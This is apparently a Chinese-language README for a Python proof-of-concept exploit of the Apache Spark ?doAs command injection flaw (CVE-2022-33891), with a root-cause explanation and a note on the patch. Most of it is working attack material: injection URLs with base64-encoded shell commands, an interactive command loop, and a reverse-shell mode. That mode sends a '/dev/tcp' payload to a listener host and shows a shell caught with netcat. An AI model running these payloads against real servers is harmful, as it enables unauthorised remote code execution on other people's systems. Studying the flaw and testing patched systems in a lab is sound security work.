Apache Spark Shell 命令注入漏洞
一个用于利用 Apache Spark Shell 命令注入漏洞的 Python POC。我看到网上有些其他 POC 看起来很可疑。这个简单且干净。
我并未发现此漏洞/利用方式。我只是想为社区制作一个安全的 POC ^.^
Apache Spark 3.0.3 及更早版本、3.1.1 至 3.1.2 版本、3.2.0 至 3.2.1 版本
http://localhost:8080/?doAs=`[命令注入位置]`
示例
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... 休眠 10 秒
你需要一个易受攻击的 Spark 版本,并更改一个配置选项。
$ pip3 install -r requirements.txtspark/ 目录。spark/ 目录中提供的 docker-compose.yml 并运行 docker-compose up。等待容器启动。sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC 利用脚本
可选参数:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 要利用的 URL。
-p PORT, --port PORT 目标端口。
--revshell 反向 Shell 选项。
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
你的监听主机 IP 地址。
-lp LISTENINGPORT, --listeningport LISTENINGPORT
你的监听主机端口。
--check 通过睡眠测试检查目标是否可利用。
检查目标是否存在漏洞:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] 尝试连接站点...
[*] 执行 10 秒睡眠测试...
[*] 完整利用请求:http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] 睡眠时间为 10 秒!目标很可能存在漏洞!
在命令提示符循环中执行命令:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "交互"模式!
[!] 注意:你无法从这些命令获得任何输出。尝试使用 ping 或 sleep 等命令来测试执行。
> sleep 5
[*] 完整利用请求:http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
执行反向 Shell:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] 反向 Shell 模式。
[*] 通过输入以下命令设置监听器:
nc -nvlp 1337
[!] 监听器设置好后,按回车键!
[*] 完整利用请求:http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[在另一个终端中]...
husky@dev-kde:~/spark$ nc -nvlp 1337
正在监听 0.0.0.0 1337
从 172.21.0.2 55278 接收到连接
sh: 0: 无法访问 tty;作业控制已关闭
$ whoami
spark
命令注入的发生是因为 Spark 通过使用原始 Linux 命令检查 ?doAs 参数中传递的用户所属组。
将 id 作为用户传递会产生以下回溯错误:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': 没有此用户
spark_1 | 22/07/20 11:55:58 ERROR Utils: 进程 List(bash, -c, id -Gn 'id') 退出,代码 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: 获取用户组时出错:'id'
spark_1 | org.apache.spark.SparkException: 进程 List(bash, -c, id -Gn 'id') 退出,代码 1
在这里,Java 决定将 id 命令传递给 bash -c 来检查指定用户的组成员身份。问题是,这也允许命令注入。
已修补的版本将此调用参数化,使用 /bin/id 命令的完整路径而不是 bash -c id
值得注意的是,在命令执行期间页面上不会回显任何内容,因此这是盲操作系统注入。你的命令会执行,但无法知道它们是否成功,甚至无法知道目标上是否存在你运行的程序。例如,本仓库中 docker-compose.yml 启动的容器没有 ping,因此通过 pingback 检查命令注入将不起作用。但你不知道这一点,所以你会一直怀疑是否成功。
睡眠测试是一个安全的选择 ^.^